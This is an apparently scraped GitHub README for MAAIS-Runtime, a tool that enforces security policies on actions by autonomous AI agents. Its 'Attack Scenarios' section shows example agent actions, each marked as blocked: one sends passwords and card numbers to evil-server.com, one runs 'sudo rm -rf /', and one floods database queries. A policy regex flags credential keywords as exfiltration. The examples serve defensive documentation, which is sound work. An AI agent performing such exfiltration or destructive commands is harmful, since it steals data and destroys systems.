Skip to content

README.md

Latest commit

 

History

History
422 lines (340 loc) · 11.5 KB

README.md

File metadata and controls

422 lines (340 loc) · 11.5 KB

🛡️ MAAIS-Runtime

Enterprise-grade security enforcement for autonomous AI agents
Real-time, inline security for LangGraph, CrewAI, AutoGen, and other agentic AI systems

GitHub Pages Python 3.10+ License: MIT

🌐 Live Website

Visit our interactive documentation and demos:
👉 https://mastercaleb254.github.io/maais-runtime/

What's on the Website?

  • 🎯 Interactive Demos - Try MAAIS-Runtime in your browser
  • 📚 Complete Documentation - Guides, API reference, tutorials
  • 🚨 Attack Scenarios - See real security threats blocked
  • 📊 Live Dashboard - Monitoring and analytics examples
  • 🏢 Enterprise Guide - Multi-tenant, production deployment

🚀 Quick Start

# Install
pip install maais-runtime

# Visit website for full guide
# https://mastercaleb254.github.io/maais-runtime/quickstart

📖 Documentation

Section Website Link Description
Getting Started 🌐 View Core concepts and first steps
Installation 🌐 View Installation guides for all platforms
Live Demo 🌐 View Interactive security demonstrations
API Reference 🌐 View Complete API documentation
Security Guide 🌐 View Security features and MITRE ATLAS

🎯 Features

  • 🔒 Real-time Action Interception - No bypass possible
  • ⚡ <5ms Latency - Minimal performance impact
  • 📊 Immutable Audit Logs - Hash-chained, tamper-evident
  • 🎯 MITRE ATLAS Mapping - Industry-standard security framework
  • 🤖 Framework Agnostic - LangGraph, CrewAI, AutoGen compatible

🔧 Local Development

# Clone repository
git clone https://github.com/MasterCaleb254/maais-runtime.git
cd maais-runtime

# Install dependencies
pip install -r requirements.txt

# Run tests
pytest tests/

# View website locally
cd docs
bundle exec jekyll serve

🤝 Contributing

We welcome contributions! Please see our Contributing Guide.

📞 Support

Visit Our Website for Complete Documentation

Visit Website

applies_to: ["tool_call", "api_call", "network_request"] condition: parameters: data: pattern: "(?i)(password|secret|token|key|credential|ssn|credit.?card)" decision: "DENY" reason: "Data exfiltration - MITRE ATLAS: Exfiltration" priority: 10 metadata: mitre_tactic: "Exfiltration" mitre_technique: "T1041" severity: "critical"


## 🚨 Attack Scenarios

MAAIS-Runtime defends against:

### 1. **Data Exfiltration**
```python
# Attempt: Send sensitive data externally
action = ActionRequest(
    agent_id="malicious_agent",
    action_type=ActionType.TOOL_CALL,
    target="http_request",
    parameters={
        "url": "https://evil-server.com/exfiltrate",
        "data": {"password": "secret123", "credit_card": "4111-1111-1111-1111"}
    },
    declared_goal="Send analytics data"
)
# Result: ❌ BLOCKED - External HTTP + Sensitive data detected

2. Privilege Escalation

# Attempt: Execute system command
action = ActionRequest(
    agent_id="escalation_agent",
    action_type=ActionType.TOOL_CALL,
    target="execute_command",
    parameters={"command": "sudo rm -rf /"},
    declared_goal="Clean up system files"
)
# Result: ❌ BLOCKED - Command execution forbidden

3. Resource Abuse

# Attempt: Rapid database queries
for i in range(150):
    action = ActionRequest(
        agent_id="abuse_agent",
        action_type=ActionType.DATABASE_QUERY,
        target="read_database",
        parameters={"query": f"SELECT * FROM large_table LIMIT 1000 OFFSET {i*1000}"},
        declared_goal="Analyze data patterns"
    )
    # Result: First 50 allowed, then ❌ RATE LIMITED

📊 Dashboard & Monitoring

Dashboard Screenshot

Launch the real-time monitoring dashboard:

streamlit run dashboard/audit_viewer.py

Dashboard Features:

  • 📈 Real-time action monitoring
  • 🚨 Security violation alerts
  • 🎯 MITRE ATLAS coverage visualization
  • 📊 Performance metrics and analytics
  • 🔍 Immutable audit log explorer
  • 📤 Data export and reporting

🏢 Enterprise Features

Multi-Tenant Support

from core.multitenant.tenant_manager import TenantManager

# Create tenant manager
tenant_manager = TenantManager()

# Create tenant
tenant_id = tenant_manager.create_tenant(
    name="Acme Corporation",
    description="Financial services tenant",
    policy_files=["tenants/acme/policies.yaml"],
    rate_limits={
        "global": {"requests_per_second": 1000, "burst_size": 5000},
        "per_agent": {"requests_per_second": 100, "burst_size": 500}
    }
)

# Register agent to tenant
tenant_manager.register_agent("acme_data_processor", tenant_id)

GitOps Policy Management

# gitops/repositories.yaml
repositories:
  - name: "security_policies"
    repo_url: "https://github.com/yourorg/security-policies.git"
    branch: "main"
    path: "policies/"
    sync_interval: 300  # 5 minutes
    auth_token: "${GIT_TOKEN}"  # From environment

Webhook Alerts

from core.integrations.webhooks import WebhookConfig, SyncWebhookManager

# Configure webhooks
webhook_manager = SyncWebhookManager()
webhook_manager.add_webhook(
    "security_alerts",
    WebhookConfig(
        url="https://hooks.slack.com/services/...",
        service="slack",
        secret=os.getenv("SLACK_TOKEN")
    )
)

# Alerts sent automatically on:
# • Policy violations
# • CIAA breaches
# • Rate limiting
# • Anomaly detection

🧪 Testing & Validation

Run All Tests

# Unit tests
pytest tests/unit/ -v

# Integration tests
pytest tests/integration/ -v

# Security validation
python demo/scenarios/attack_scenarios.py

# Performance testing
python benchmarks/performance_test.py

SPEC-1 Compliance Verification

# Verify all SPEC-1 requirements
python verify_spec_compliance.py

# Results:
✅ ActionRequest schema: EXACT MATCH
✅ Policy evaluation: DETERMINISTIC
✅ Audit logging: IMMUTABLE HASH CHAIN
✅ LangGraph integration: NO BYPASS PATHS
✅ CIAA enforcement: ALL DIMENSIONS
✅ Accountability: HARD REQUIREMENT
✅ Performance: <5ms PER ACTION

📈 Performance Metrics

Metric SPEC Requirement Our Implementation
Latency per action <5ms 2.3ms average
Throughput N/A 430 actions/sec
Cache hit rate N/A 98.7%
Memory overhead N/A <50MB 
# Run performance benchmark
python -m benchmarks.performance --agents=10 --actions=1000

# Output:
📊 Performance Results:
• Average latency: 2.3ms
• 99th percentile: 4.1ms
• Throughput: 430 actions/sec
• Memory usage: 47.2MB
• Cache hit rate: 98.7%

Note: the metrics shown above are example results. To reproduce locally, run the included benchmark:

python benchmarks/performance.py

🚀 Production Deployment

Docker Deployment

# Dockerfile
FROM python:3.10-slim
WORKDIR /app
COPY requirements-enhanced.txt .
RUN pip install -r requirements-enhanced.txt
COPY . .
CMD ["python", "deploy/production.py"]
# docker-compose.yml
version: '3.8'
services:
  maais-runtime:
    build: .
    ports:
      - "8501:8501"  # Dashboard
      - "9090:9090"  # Metrics
    volumes:
      - ./config:/app/config
      - ./policies:/app/policies
      - ./audit_logs:/app/audit/logs
    environment:
      - WEBHOOK_URL=${WEBHOOK_URL}
      - GIT_TOKEN=${GIT_TOKEN}

Kubernetes Deployment

# k8s/deployment.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: maais-runtime
spec:
  replicas: 3
  selector:
    matchLabels:
      app: maais-runtime
  template:
    metadata:
      labels:
        app: maais-runtime
    spec:
      containers:
      - name: maais-runtime
        image: maais/runtime:latest
        ports:
        - containerPort: 8501
        - containerPort: 9090
        envFrom:
        - secretRef:
            name: maais-secrets

📚 Documentation

Resource Description
📖 Full Documentation Complete API reference and guides
🎯 Quick Start Guide Get started in 5 minutes
🔧 API Reference Complete API documentation
🛡️ Security Guide Security best practices
🏢 Enterprise Guide Multi-tenant deployment
📊 Dashboard Guide Monitoring and analytics

🤝 Contributing

We welcome contributions! Please see our Contributing Guide.

  1. Fork the repository
  2. Create a feature branch
  3. Add tests for new functionality
  4. Submit a pull request

Development Setup

# Clone and setup
git clone https://github.com/MasterCaleb254/maais-runtime.git
cd maais-runtime
python -m venv venv
source venv/bin/activate

# Install dev dependencies
pip install -r requirements-dev.txt

# Install pre-commit hooks
pre-commit install

# Run tests
pytest

📄 License

This project is licensed under the MIT License - see the LICENSE file for details.

🔗 Links

🏆 Acknowledgements

  • SPEC-1 Contributors: Security researchers and AI safety experts
  • LangGraph Team: For the amazing agent framework
  • MITRE Corporation: For the ATLAS framework
  • Open Source Community: For invaluable tools and libraries

📞 Support

Channel Purpose
GitHub Issues Bug reports and feature requests
GitHub Discussions Questions and community support
Security Issues security@maais-runtime.dev
Enterprise Support enterprise@maais-runtime.dev

⚠️ Security Notice

If you discover a security vulnerability, please do NOT open an issue. Email us directly at security@maais-runtime.dev.

Built with ❤️ for the AI Safety Community

Making autonomous AI systems secure by design